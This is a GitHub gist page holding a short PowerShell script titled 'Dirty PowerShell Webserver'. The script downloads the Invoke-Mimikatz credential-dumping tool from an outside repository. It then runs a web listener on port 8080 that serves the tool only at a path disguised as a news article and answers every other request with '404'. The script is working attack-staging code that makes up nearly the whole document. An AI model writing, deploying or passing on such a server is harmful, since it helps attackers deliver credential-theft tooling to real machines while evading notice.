Skip to content

Instantly share code, notes, and snippets.

@TheWover
Forked from cobbr/server.ps1
Created December 18, 2019 21:41
Show Gist options
  • Save TheWover/5d04f8c33432bf72aac689fddd04302d to your computer and use it in GitHub Desktop.
Save TheWover/5d04f8c33432bf72aac689fddd04302d to your computer and use it in GitHub Desktop.
Dirty PowerShell Webserver
$mk = (new-object net.webclient).downloadstring("https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1")
$Hso = New-Object Net.HttpListener
$Hso.Prefixes.Add("http://+:8080/")
$Hso.Start()
While ($Hso.IsListening) {
$HC = $Hso.GetContext()
$HRes = $HC.Response
$HRes.Headers.Add("Content-Type","text/plain")
If (($HC.Request).RawUrl -eq '/home/news/a/21/article.html') {
$Buf = [Text.Encoding]::UTF8.GetBytes($mk)
}
Else {
$Buf = [Text.Encoding]::UTF8.GetBytes('404')
}
$HRes.ContentLength64 = $Buf.Length
$HRes.OutputStream.Write($Buf,0,$Buf.Length)
$HRes.Close()
}
$Hso.Stop()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment